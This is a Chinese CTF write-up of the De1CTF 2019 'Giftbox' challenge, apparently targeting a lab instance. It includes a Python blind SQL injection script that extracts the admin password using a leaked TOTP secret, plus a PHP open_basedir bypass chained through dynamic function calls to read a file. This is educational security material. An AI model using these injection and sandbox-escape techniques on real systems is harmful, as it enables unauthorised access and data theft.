[De1CTF 2019]Giftbox

本文详细介绍了如何利用TOTP令牌进行PHP命令注入,通过SQL盲注获取密码,然后利用PHP特性绕过open_basedir限制,最终获取系统信息。涉及的技术包括SQL盲注、TOTP令牌验证、PHP命令执行和open_basedir限制的绕过策略。
摘要由CSDN通过智能技术生成
知识点:totp,php特性,open_basedir绕过

分析

进入题目看到一个可以执行命令的页面,可以通过help来查看有哪些命令。
在这里插入图片描述
有一个文件和两个文件夹。
在这里插入图片描述
看一下usage.md文件,里面有几条命令,不管是哪条命令都要先登录。
在这里插入图片描述
在这里插入图片描述
经过测试可以发现,有回显,但没有报错,那么可以考虑sql盲注,来爆密码。
在这里插入图片描述
接着就要写exp,但在这之前还要看一下,它是怎么传到服务器的。

在network中可以看到,是通过shell.php来传的并且带着一个totp参数,这个totp看着像一个随时间变化的令牌,每次都不一样。
在这里插入图片描述
在js源码中已经提示我们totp该怎么弄,还告诉我们参数,以及密钥。
在这里插入图片描述
在这里插入图片描述

sql盲注exp

import requests
import pyotp
from time import  sleep
import re

url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
    sleep(0.5)
    head = 32
    tail = 127
    i += 1
    while (head < tail):
        mid = head + tail >> 1
        payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid)

        params = {
            "a":payload,
            "totp":totp.now()
        }

        r = requests.post(url,params=params)
        if "password" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        name += chr(head)
        print(name)
    else:
        break

登录后

拿到密码登录后,在看看usage.md的那三个命令。
在这里插入图片描述
targeting的作用相当于$a=1,定义变量并且赋值,且参数会有长度限制,和过滤。
launch就是执行上面的命令。
destruct是清空命令。

在这里插入图片描述
那么根据php特性,可以构造出phpinfo()
在这里插入图片描述
然后进入所在的页面,就可以看到phpinfo的html代码,我们可以赋值到本地来看。
在这里插入图片描述
可以看到开了open_basedir
在这里插入图片描述
绕过payload(来自: https://xz.aliyun.com/t/4720)

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

因为它过滤了/,所以我们要绕过一下,例如:chr(47)

完整exp

import requests
import pyotp
from time import sleep
import re

url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
    sleep(0.5)
    head = 32
    tail = 127
    i += 1
    while (head < tail):
        mid = head + tail >> 1
        payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid)

        params = {
            "a":payload,
            "totp":totp.now()
        }

        r = requests.post(url,params=params)
        if "password" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        name += chr(head)
        print(name)
    else:
        break

session = requests.session()

def login():
    sleep(0.5)
    r = session.get(url,params={'a': 'login admin '+ name, 'totp': totp.now()})

def destruct():
    sleep(0.5)
    r = session.get(url, params={'a': 'destruct', 'totp': totp.now()})

def targeting(code, position):
    sleep(0.5)
    r = session.get(url, params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})
    print("code: " + code + "  " + "position: " + position)

def launch():
    sleep(0.5)
    r = session.get(url, params={'a': 'launch', 'totp': totp.now()})
    return r.text

def main():
    login()
    destruct()
    targeting("a", "chdir")
    targeting("b", "img")
    targeting("c", "{$a($b)}")

    targeting("d", "ini_set")
    targeting("e", "open_basedir")
    targeting("f", "..")
    targeting("g", "{$d($e,$f)}")

    targeting("h", "{$a($f)}")
    targeting("i", "{$a($f)}")

    targeting("j", "chr")
    targeting("k", "{$j(47)}")
    targeting("l", "{$d($e,$k)}")

    targeting("m", "flag")
    targeting("n", "file_get")
    targeting("o", "_contents")
    targeting("p", "$n$o")

    targeting("q", "{$p($m)}")

    print(re.search("flag{.*}", launch()).group(0)[:42])


if __name__ == '__main__':
    main()

参考:

glzjin

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值